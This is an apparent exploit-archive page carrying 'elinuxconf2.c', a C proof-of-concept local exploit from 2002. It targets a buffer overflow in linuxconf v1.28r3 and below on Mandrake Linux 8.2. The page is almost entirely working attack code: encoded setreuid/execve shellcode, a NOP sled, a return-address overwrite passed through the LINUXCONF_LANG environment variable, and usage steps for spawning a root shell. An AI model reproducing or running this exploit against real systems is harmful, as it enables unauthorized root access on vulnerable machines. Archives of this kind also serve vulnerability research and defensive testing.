exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

elinuxconf2.c

elinuxconf2.c
Posted Sep 2, 2002
Authored by Pokleyzz | Site scan-associates.net

Another Proof of Concept exploit for the local buffer overflow vulnerability existing in linuxconf v1.28r3 and below which allows users to spawn a root shell. Tested on Mandrake Linux 8.2.

tags | exploit, overflow, shell, local, root, proof of concept
systems | linux, mandrake
SHA-256 | 92e6ec24f409a9f1006245445fec7ad60fc8f719a98109578dd3758317bd6a9c

elinuxconf2.c

Change Mirror Download
/*
linuxconf mandrake 8.2

by pokleyzz (pokleyzz@scan-associates.net)
** for my comfimation **

greet : *(sk + wanvadder + Skywizard + The_Gigco + scan clan (if exist) + #mylinux + #mybsd)

usage :
$ gcc elinuxconf.c -o elinuxconf
$ mkdir linuxconf.eng
$ touch linuxconf.eng/linuxconf.eng
$ ./elinuxconf
# reboot

http://www.scan-associates.net
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h>

#define LINUXCONF "/bin/linuxconf"
#define BUFFSIZE 2050
#define OFFSET 0x1111
// pointer to some string
#define DUMMY 0x0811708d

char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";

long get_sp ()
{
__asm__("movl %esp,%eax");
}

int main (int argc, char **argv)
{
char *buff;
int i , ret;

buff = (char *)malloc(BUFFSIZE);
ret = get_sp() - OFFSET;

for (i = 0;i < 2048 ; i++)
buff[i] = 0x90;

memcpy((char*)(buff + 1600),shellcode,strlen(shellcode));

for (i = 0; i < 108 ; i+=4)
*(char **)&buff[1940 +i] = DUMMY;

*(char **)&buff[1976] = ret;

buff[2049] = 0x00;
setenv("LINUXCONF_LANG",buff,1);
execl(LINUXCONF, "linuxconf", 0);

return 0;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close